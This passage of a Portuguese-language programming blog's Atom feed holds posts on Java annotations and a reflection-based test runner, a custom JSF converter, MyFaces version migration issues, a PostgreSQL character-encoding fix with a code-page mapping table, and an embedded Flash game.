/&gt;    }&lt;br /&gt;    public static void m8() { }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is the testing tool:&lt;br /&gt;&lt;br /&gt;    import java.lang.reflect.*;&lt;br /&gt;&lt;br /&gt;    public class RunTests {&lt;br /&gt;       public static void main(String[] args) throws Exception {&lt;br /&gt;          int passed = 0, failed = 0;&lt;br /&gt;          for (Method m : Class.forName(args[0]).getMethods()) {&lt;br /&gt;             if (m.isAnnotationPresent(Test.class)) {&lt;br /&gt;                try {&lt;br /&gt;                   m.invoke(null);&lt;br /&gt;                   passed++;&lt;br /&gt;                } catch (Throwable ex) {&lt;br /&gt;                   System.out.printf("Test %s failed: %s %n", m, ex.getCause());&lt;br /&gt;                   failed++;&lt;br /&gt;                }&lt;br /&gt;             }&lt;br /&gt;          }&lt;br /&gt;          System.out.printf("Passed: %d, Failed %d%n", passed, failed);&lt;br /&gt;       }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FONTE: Http://java.sun.com &lt;a href="http://java.sun.com/j2se/1.5.0/docs/guide/language/annotations.html" target="_blank"&gt;Annotations (by Java 5 docs guide)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6929965241891944132?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6929965241891944132/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6929965241891944132&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6929965241891944132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6929965241891944132'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/10/crie-sua-prpria-java-annotation.html' title='Crie sua própria Java Annotation'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-5994901523620018020</id><published>2009-01-26T11:58:00.000-08:00</published><updated>2009-01-26T11:59:22.693-08:00</updated><title type='text'>XmlHttpRequest - ótima leitura</title><content type='html'>&lt;a href="http://www.w3.org/TR/XMLHttpRequest/" target="_blank"&gt;http://www.w3.org/TR/XMLHttpRequest/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-5994901523620018020?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/5994901523620018020/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=5994901523620018020&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/5994901523620018020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/5994901523620018020'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/01/xmlhttprequest-tima-leitura.html' title='XmlHttpRequest - ótima leitura'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-921449531662604757</id><published>2009-01-25T09:22:00.000-08:00</published><updated>2009-02-11T05:24:36.958-08:00</updated><title type='text'>JavaServerFaces: Crie seu próprio converter de BARBADA</title><content type='html'>Os componentes de JSF, necessitam em muitos casos conversões de tipos de dados. Ex: converter="javax.faces.Long", javax.faces.Boolean ... Porém, quando isso foge do padrão e um tipo de informação única é esperada, você precisa especificar o tipo de dado que seu componente ira receber, vou passar os passos simples para a criação de seu próprio converter JSF:&lt;br /&gt;&lt;br /&gt;1) Desenvolva a classe:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;package com.meupacote.conversores;&lt;br /&gt;&lt;br /&gt;import javax.faces.component.UIComponent;&lt;br /&gt;import javax.faces.context.FacesContext;&lt;br /&gt;import javax.faces.convert.Converter;&lt;br /&gt;import javax.faces.convert.ConverterException;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class MeuConverter implements Converter {&lt;br /&gt;&lt;br /&gt; public Object getAsObject(FacesContext context, UIComponent cp, String v) throws ConverterException {&lt;br /&gt;  try {&lt;br /&gt;                        // Faz os procedimentos necessários para a conversão&lt;br /&gt;                        // no exemplo eu substituo, "oi", por "tchau", você&lt;br /&gt;                        // pode precisar fazer algo mais importante&lt;br /&gt;   return v.replaceAll("oi","tchau");&lt;br /&gt;  } catch(NullPointerException e) {&lt;br /&gt;   return null;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; public String getAsString(FacesContext context, UIComponent component, Object value) throws ConverterException {&lt;br /&gt;  if(value == null) {&lt;br /&gt;   return null;&lt;br /&gt;  }&lt;br /&gt;                // Coloque o procedimento que suprime sua necessidade&lt;br /&gt;  return value.toString().replaceAll("cachorro","dog").trim();&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2) Adicione as linhas no seu faces-config.xml&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&amp;lt;faces-config&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- etc etc etc --&amp;gt;&lt;br /&gt;&amp;lt;converter&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;description&amp;gt;Conversor para tirar o oi e botar o tchau&amp;lt;/description&amp;gt;&lt;br /&gt;&amp;lt;converter-id&amp;gt;meuConverter&amp;lt;/converter-id&amp;gt;&lt;br /&gt;&amp;lt;converter-class&amp;gt;com.meupacote.conversores.MeuConverter&amp;lt;/converter-class&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/converter&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/faces-config&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3) Use-o como precisar:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;&amp;lt;h:selectOneMenu id="meusValores"  converter="meuConverter" value="#{meuBean.meuValorEspecial}"&amp;gt;&lt;br /&gt;      &amp;lt;f:selectItems value="#{meuBean.meusValores}" /&amp;gt;&lt;br /&gt;&amp;lt;/h:selectOneMenu&amp;gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-921449531662604757?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/921449531662604757/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=921449531662604757&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/921449531662604757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/921449531662604757'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/11/javaserverfaces-crie-seu-prprio.html' title='JavaServerFaces: Crie seu próprio converter de BARBADA'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6591661441181231056</id><published>2009-01-11T13:10:00.000-08:00</published><updated>2009-02-11T05:23:00.898-08:00</updated><title type='text'>MyFaces 1.1.5 versus MyFaces 1.1.6</title><content type='html'>Serve de dica para quem acompanha o processo de evolução do MyFaces, o fato de que um sistema pode parar de funcionar com a atualização de versão. É claro que virão melhorias com a candidata a nova versão, porém poderá expor detalhes não observados anteriormente, e novas regras poderão entrar em rigor, o que poderá gerar algum tipo de transtorno.&lt;br /&gt;&lt;br /&gt;Em caso pessoal, como descrito no titulo do post, vou expor os 2 exemplos em que tive problemas com a atualização:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1) Duplicated id:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Você não pode definir dois componentes com o mesmo Id mesmo que estejam englobados dentro de outro componente.&lt;br /&gt;&lt;br /&gt;Ex.:&lt;br /&gt;&lt;br /&gt;Você tem um inputHidden:&lt;br /&gt;&lt;br /&gt;&lt;textarea COLS="50" ROWS="3"&gt;&lt;h:inputhidden id="meuId" value="#{meuBean.minhaPropriedade1}"&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;e em outro lugar, um datatable, ambos na mesma  página:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;textarea  COLS="50" ROWS="7"&gt; &lt;t:datatable...&gt;&lt;t:column id="minhaColuna1"&gt;&lt;t:inputtext id="meuId" value="meuBean.minhaPropriedade2"&gt;&lt;/t:inputtext&gt;&lt;/t:column&gt;&lt;t:column id="minhaColuna2"&gt;&lt;t:outputlabel id="meuId" value="meuBean.minhaPropriedade3"&lt;/t:outputlabel&gt;&lt;/t:column&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2) Não se pode utilizar binding a uma referência de uma classe que não seja daquele componente, no MyFaces, mesmo que seja uma classe primária desta.&lt;br /&gt;&lt;br /&gt;Ex.:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;javax.faces.component.html.HtmlDataTable.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;textarea  COLS="50" ROWS="3"&gt;&lt;t:datatable bindind="#{ meubean.umaInstanciaDeHtmlDataTable }" &gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;sendo que javax.faces.component.html.HtmlDataTable extends UIData, porém se colocares umaInstanciaDeUIData, o código não irá funcionar, em tempo de execução.&lt;br /&gt;&lt;br /&gt;O exemplo acima é mais um que funciona no MyFaces 1.1.5 e já não irá funcionar em 1.1.6.&lt;br /&gt;&lt;br /&gt;OBS: Esse não é um problema do framework Myfaces 1.1.6, se tu configurar o carregador (classloader) para que o Myfaces utilize seu HtmlDataTable referenciando a mesma localização de classes do UIData referenciado, esse erro nao irá ocorrer, portanto é um problema de configuração, mas que precisa ser observado na hora da migração de versão.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6591661441181231056?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6591661441181231056/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6591661441181231056&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6591661441181231056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6591661441181231056'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/08/blog-post.html' title='MyFaces 1.1.5 versus MyFaces 1.1.6'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6541646680948061014</id><published>2009-01-06T15:21:00.000-08:00</published><updated>2009-01-06T15:40:34.914-08:00</updated><title type='text'>PostgreSQL Erro de conversão: UNICODE - Latin1</title><content type='html'>Estive obtendo a seguinte mensagem vinda do banco postgres quando eu tentava realizar um insert de um valor string que já me vinha formatado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;a mensagem:&lt;br /&gt;&lt;br /&gt;ERROR: character 0xe2809c of encoding "UNICODE" has no equivalent in "LATIN1"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Solução:&lt;br /&gt;&lt;br /&gt;Ex:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      &lt;br /&gt;       &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;  &lt;br /&gt;try {  &lt;br /&gt;&lt;br /&gt;     byte[] y = conteudosHtml.getBytes("ISO-8859-1");  // ou UTF, etc&lt;br /&gt;       conteudosHtml = new String(y, "LATIN1");  // ou UTF, ISO, etc&lt;br /&gt;      &lt;br /&gt;      } catch (UnsupportedEncodingException e) {  &lt;br /&gt;       out.print("Erro convert1"+e.getMessage());&lt;br /&gt;      } catch (IOException e) {  &lt;br /&gt;       out.print("Erro convert2"+e.getMessage());&lt;br /&gt;      } &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Caso você se encontre numa situação mais crítica.. com caracteres que nao sejam ISO. UTF mas sim caracteres japoneses, koreanos, indianos e por aí vai  ( SOMENTE CASO O CODIGO ACIMA NAO TE SIRVA), lá vai um exemplo de conversão BRAdesses chars:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;conteudosHtml = conteudosHtml.replace((char) 0x93     , ' ' );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OBS: Note que o código char 0x93 corresponde ao caractere UNICODE 0xe2809c  que ele estava reclamando, caso seja preciso, copio-vos uma lista de diversos caracteres UNICODE para receberem a mesma conversão e posteriormente fazer o replace como eu fiz:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;OBS: onde '0xA2' =&gt; '0xC2A2' significa que 0xA2 é o char que representa o UNICODE 0xC2A2&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="font-weight:bold;"&gt;'0x81' =&gt; '\'\'',         '0x8A' =&gt; '\'\'',         '0x8C' =&gt; '\'\'',&lt;br /&gt;         '0x8D' =&gt; '\'\'',         '0x8E' =&gt; '\'\'',         '0x8F' =&gt; '\'\'',&lt;br /&gt;         '0x90' =&gt; '\'\'',         '0x9A' =&gt; '\'\'',         '0x9C' =&gt; '\'\'',&lt;br /&gt;         '0x9D' =&gt; '\'\'',         '0x9E' =&gt; '\'\'',         '0x9F' =&gt; '\'\'',&lt;br /&gt;         '0xCA' =&gt; '\'\'',         '0xD9' =&gt; '\'\'',         '0xDA' =&gt; '\'\'',&lt;br /&gt;         '0xDB' =&gt; '\'\'',         '0xDC' =&gt; '\'\'',         '0xDD' =&gt; '\'\'',&lt;br /&gt;         '0xDE' =&gt; '\'\'',         '0xDF' =&gt; '\'\'',         '0xFB' =&gt; '\'\'',&lt;br /&gt;         '0xFC' =&gt; '\'\'',         '0xFF' =&gt; '\'\'',         '0xC2' =&gt; '0xFF',&lt;br /&gt;         '0x80' =&gt; '0xFC',         '0xE2' =&gt; '0xFB',         '0xA0' =&gt; '0xC2A0',&lt;br /&gt;         '0xA1' =&gt; '0xC2A1',      '0xA2' =&gt; '0xC2A2',      '0xA3' =&gt; '0xC2A3',&lt;br /&gt;         '0xA5' =&gt; '0xC2A5',      '0xA6' =&gt; '0xC2A6',      '0xA7' =&gt; '0xC2A7',&lt;br /&gt;         '0xA8' =&gt; '0xC2A8',      '0xA9' =&gt; '0xC2A9',      '0xAB' =&gt; '0xC2AB',&lt;br /&gt;         '0xAC' =&gt; '0xC2AC',      '0xAD' =&gt; '0xC2AD',      '0xAE' =&gt; '0xC2AE',&lt;br /&gt;         '0xAF' =&gt; '0xC2AF',      '0xB0' =&gt; '0xC2B0',      '0xB1' =&gt; '0xC2B1',&lt;br /&gt;         '0xB2' =&gt; '0xC2B2',      '0xB3' =&gt; '0xC2B3',      '0xB4' =&gt; '0xC2B4',&lt;br /&gt;         '0xB5' =&gt; '0xC2B5',      '0xB6' =&gt; '0xC2B6',      '0xB7' =&gt; '0xC2B7',&lt;br /&gt;         '0xB8' =&gt; '0xC2B8',      '0xB9' =&gt; '0xC2B9',      '0xBB' =&gt; '0xC2BB',&lt;br /&gt;         '0xBC' =&gt; '0xC2BC',      '0xBD' =&gt; '0xC2BD',      '0xBE' =&gt; '0xC2BE',&lt;br /&gt;         '0xBF' =&gt; '0xC2BF',      '0xD7' =&gt; '0xD7B3',      '0xD1' =&gt; '0xD781',&lt;br /&gt;         '0xD4' =&gt; '0xD7B0',      '0xD5' =&gt; '0xD7B1',      '0xD6' =&gt; '0xD7B2',&lt;br /&gt;         '0xE0' =&gt; '0xD790',      '0xEA' =&gt; '0xD79A',      '0xEC' =&gt; '0xD79C',&lt;br /&gt;         '0xED' =&gt; '0xD79D',      '0xEE' =&gt; '0xD79E',      '0xEF' =&gt; '0xD79F',&lt;br /&gt;         '0xF0' =&gt; '0xD7A0',      '0xF1' =&gt; '0xD7A1',      '0xF2' =&gt; '0xD7A2',&lt;br /&gt;         '0xF3' =&gt; '0xD7A3',      '0xF5' =&gt; '0xD7A5',      '0xF6' =&gt; '0xD7A6',&lt;br /&gt;         '0xF7' =&gt; '0xD7A7',      '0xF8' =&gt; '0xD7A8',      '0xF9' =&gt; '0xD7A9',&lt;br /&gt;         '0x82' =&gt; '0xE2809A',   '0x84' =&gt; '0xE2809E',   '0x85' =&gt; '0xE280A6',&lt;br /&gt;         '0x86' =&gt; '0xE280A0',   '0x87' =&gt; '0xE280A1',   '0x89' =&gt; '0xE280B0',&lt;br /&gt;         '0x8B' =&gt; '0xE280B9',   '0x93' =&gt; '0xE2809C',   '0x94' =&gt; '0xE2809D',&lt;br /&gt;         '0x95' =&gt; '0xE280A2',   '0x97' =&gt; '0xE28094',   '0x99' =&gt; '0xE284A2',&lt;br /&gt;         '0xC0' =&gt; '0xD6B0',      '0xC1' =&gt; '0xD6B1',      '0xC3' =&gt; '0xD6B3',&lt;br /&gt;         '0xC4' =&gt; '0xD6B4',      '0xC5' =&gt; '0xD6B5',      '0xC6' =&gt; '0xD6B6',&lt;br /&gt;         '0xC7' =&gt; '0xD6B7',      '0xC8' =&gt; '0xD6B8',      '0xC9' =&gt; '0xD6B9',&lt;br /&gt;         '0xCB' =&gt; '0xD6BB',      '0xCC' =&gt; '0xD6BC',      '0xCD' =&gt; '0xD6BD',&lt;br /&gt;         '0xCE' =&gt; '0xD6BE',      '0xCF' =&gt; '0xD6BF',      '0xD0' =&gt; '0xD780',&lt;br /&gt;         '0xD2' =&gt; '0xD782',      '0xE3' =&gt; '0xD793',      '0xE4' =&gt; '0xD794',&lt;br /&gt;         '0xE5' =&gt; '0xD795',      '0xE7' =&gt; '0xD797',      '0xE9' =&gt; '0xD799',&lt;br /&gt;         '0xFD' =&gt; '0xE2808E',   '0xFE' =&gt; '0xE2808F',   '0x92' =&gt; '0xE28099',&lt;br /&gt;         '0x83' =&gt; '0xC692',      '0xD3' =&gt; '0xD783',      '0x88' =&gt; '0xCB86',&lt;br /&gt;         '0x98' =&gt; '0xCB9C',      '0x91' =&gt; '0xE28098',   '0x96' =&gt; '0xE28093',&lt;br /&gt;         '0xBA' =&gt; '0xC3B7',      '0x9B' =&gt; '0xE280BA',   '0xAA' =&gt; '0xC397',&lt;br /&gt;         '0xA4' =&gt; '0xE282AA',   '0xE1' =&gt; '0xD791',      '0xE6' =&gt; '0xD796',&lt;br /&gt;         '0xE8' =&gt; '0xD798',      '0xEB' =&gt; '0xD79B',      '0xF4' =&gt; '0xD7A4',&lt;br /&gt;         '0xFA' =&gt; '0xD7AA',      '0xFF' =&gt; '0xD6B2',      '0xFC' =&gt; '0xE282AC',&lt;br /&gt;         '0xFB' =&gt; '0xD792',&lt;br /&gt;      ),&lt;br /&gt;      'windows-1253' =&gt; array(&lt;br /&gt;         '0x81' =&gt; "''",         '0x88' =&gt; "''",         '0x8A' =&gt; "''",&lt;br /&gt;         '0x8C' =&gt; "''",         '0x8D' =&gt; "''",         '0x8E' =&gt; "''",&lt;br /&gt;         '0x8F' =&gt; "''",         '0x90' =&gt; "''",         '0x98' =&gt; "''",&lt;br /&gt;         '0x9A' =&gt; "''",         '0x9C' =&gt; "''",         '0x9D' =&gt; "''",&lt;br /&gt;         '0x9E' =&gt; "''",         '0x9F' =&gt; "''",         '0xAA' =&gt; "''",&lt;br /&gt;         '0xD2' =&gt; "''",         '0xFF' =&gt; "''",         '0xCE' =&gt; '0xCE9E',&lt;br /&gt;         '0xB8' =&gt; '0xCE88',      '0xBA' =&gt; '0xCE8A',      '0xBC' =&gt; '0xCE8C',&lt;br /&gt;         '0xBE' =&gt; '0xCE8E',      '0xBF' =&gt; '0xCE8F',      '0xC0' =&gt; '0xCE90',&lt;br /&gt;         '0xC8' =&gt; '0xCE98',      '0xCA' =&gt; '0xCE9A',      '0xCC' =&gt; '0xCE9C',&lt;br /&gt;         '0xCD' =&gt; '0xCE9D',      '0xCF' =&gt; '0xCE9F',      '0xDA' =&gt; '0xCEAA',&lt;br /&gt;         '0xE8' =&gt; '0xCEB8',      '0xEA' =&gt; '0xCEBA',      '0xEC' =&gt; '0xCEBC',&lt;br /&gt;         '0xEE' =&gt; '0xCEBE',      '0xEF' =&gt; '0xCEBF',      '0xC2' =&gt; '0xFF',&lt;br /&gt;         '0xBD' =&gt; '0xC2BD',      '0xED' =&gt; '0xCEBD',      '0xB2' =&gt; '0xC2B2',&lt;br /&gt;         '0xA0' =&gt; '0xC2A0',      '0xA3' =&gt; '0xC2A3',      '0xA4' =&gt; '0xC2A4',&lt;br /&gt;         '0xA5' =&gt; '0xC2A5',      '0xA6' =&gt; '0xC2A6',      '0xA7' =&gt; '0xC2A7',&lt;br /&gt;         '0xA8' =&gt; '0xC2A8',      '0xA9' =&gt; '0xC2A9',      '0xAB' =&gt; '0xC2AB',&lt;br /&gt;         '0xAC' =&gt; '0xC2AC',      '0xAD' =&gt; '0xC2AD',      '0xAE' =&gt; '0xC2AE',&lt;br /&gt;         '0xB0' =&gt; '0xC2B0',      '0xB1' =&gt; '0xC2B1',      '0xB3' =&gt; '0xC2B3',&lt;br /&gt;         '0xB5' =&gt; '0xC2B5',      '0xB6' =&gt; '0xC2B6',      '0xB7' =&gt; '0xC2B7',&lt;br /&gt;         '0xBB' =&gt; '0xC2BB',      '0xE2' =&gt; '0xCEB2',      '0x80' =&gt; '0xD2',&lt;br /&gt;         '0x82' =&gt; '0xE2809A',   '0x84' =&gt; '0xE2809E',   '0x85' =&gt; '0xE280A6',&lt;br /&gt;         '0x86' =&gt; '0xE280A0',   '0xA1' =&gt; '0xCE85',      '0xA2' =&gt; '0xCE86',&lt;br /&gt;         '0x87' =&gt; '0xE280A1',   '0x89' =&gt; '0xE280B0',   '0xB9' =&gt; '0xCE89',&lt;br /&gt;         '0x8B' =&gt; '0xE280B9',   '0x91' =&gt; '0xE28098',   '0x99' =&gt; '0xE284A2',&lt;br /&gt;         '0x92' =&gt; '0xE28099',   '0x93' =&gt; '0xE2809C',   '0x94' =&gt; '0xE2809D',&lt;br /&gt;         '0x95' =&gt; '0xE280A2',   '0x96' =&gt; '0xE28093',   '0x97' =&gt; '0xE28094',&lt;br /&gt;         '0x9B' =&gt; '0xE280BA',   '0xAF' =&gt; '0xE28095',   '0xB4' =&gt; '0xCE84',&lt;br /&gt;         '0xC1' =&gt; '0xCE91',      '0xC3' =&gt; '0xCE93',      '0xC4' =&gt; '0xCE94',&lt;br /&gt;         '0xC5' =&gt; '0xCE95',      '0xC6' =&gt; '0xCE96',      '0x83' =&gt; '0xC692',&lt;br /&gt;         '0xC7' =&gt; '0xCE97',      '0xC9' =&gt; '0xCE99',      '0xCB' =&gt; '0xCE9B',&lt;br /&gt;         '0xD0' =&gt; '0xCEA0',      '0xD1' =&gt; '0xCEA1',      '0xD3' =&gt; '0xCEA3',&lt;br /&gt;         '0xD4' =&gt; '0xCEA4',      '0xD5' =&gt; '0xCEA5',      '0xD6' =&gt; '0xCEA6',&lt;br /&gt;         '0xD7' =&gt; '0xCEA7',      '0xD8' =&gt; '0xCEA8',      '0xD9' =&gt; '0xCEA9',&lt;br /&gt;         '0xDB' =&gt; '0xCEAB',      '0xDC' =&gt; '0xCEAC',      '0xDD' =&gt; '0xCEAD',&lt;br /&gt;         '0xDE' =&gt; '0xCEAE',      '0xDF' =&gt; '0xCEAF',      '0xE0' =&gt; '0xCEB0',&lt;br /&gt;         '0xE1' =&gt; '0xCEB1',      '0xE3' =&gt; '0xCEB3',      '0xE4' =&gt; '0xCEB4',&lt;br /&gt;         '0xE5' =&gt; '0xCEB5',      '0xE6' =&gt; '0xCEB6',      '0xE7' =&gt; '0xCEB7',&lt;br /&gt;         '0xE9' =&gt; '0xCEB9',      '0xEB' =&gt; '0xCEBB',      '0xF0' =&gt; '0xCF80',&lt;br /&gt;         '0xF1' =&gt; '0xCF81',      '0xF2' =&gt; '0xCF82',      '0xF3' =&gt; '0xCF83',&lt;br /&gt;         '0xF4' =&gt; '0xCF84',      '0xF5' =&gt; '0xCF85',      '0xF6' =&gt; '0xCF86',&lt;br /&gt;         '0xF7' =&gt; '0xCF87',      '0xF8' =&gt; '0xCF88',      '0xF9' =&gt; '0xCF89',&lt;br /&gt;         '0xFA' =&gt; '0xCF8A',      '0xFB' =&gt; '0xCF8B',      '0xFC' =&gt; '0xCF8C',&lt;br /&gt;         '0xFD' =&gt; '0xCF8D',      '0xFE' =&gt; '0xCF8E',      '0xFF' =&gt; '0xCE92',&lt;br /&gt;         '0xD2' =&gt; '0xE282AC',&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Então ta aí a morta...&lt;br /&gt;&lt;br /&gt;se virem com essas informações, pois hoje tive de me virar bastante.&lt;br /&gt;&lt;br /&gt;Abraço&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6541646680948061014?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6541646680948061014/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6541646680948061014&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6541646680948061014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6541646680948061014'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/01/postgresql-erro-de-converso-unicode.html' title='PostgreSQL Erro de conversão: UNICODE - Latin1'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-637362232478074107</id><published>2009-01-01T12:34:00.000-08:00</published><updated>2009-03-03T11:28:53.405-08:00</updated><title type='text'>COUNTER STRIKE EM FLASH</title><content type='html'>Você que é um nerd, já deve ter ao menos ouvido falar em counter strike, se é que não é um féra nesse game. Pois bem, existe uma versão muito mais amadora, simples e com menos interatividade mas não menos objetiva e identificada com o game.&lt;br /&gt;&lt;br /&gt;Joguem o counter strike flash (cuidado VOLUME ALTO):&lt;br /&gt;&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;          &lt;param name="movie" value="http://www.tvzuka.com/jogos/Counter_Strike.swf" /&gt;&lt;br /&gt;&lt;br /&gt;          &lt;param name="quality" value="high" /&gt;&lt;br /&gt;          &lt;embed src="http://www.tvzuka.com/jogos/Counter_Strike.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="720" height="500"&gt;&lt;/embed&gt;&lt;br /&gt;        &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Não esqueça de comentar sua pontuação.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-637362232478074107?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/637362232478074107/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=637362232478074107&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/637362232478074107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/637362232478074107'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/02/counter-strike-em-flash.html' title='COUNTER STRIKE EM FLASH'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 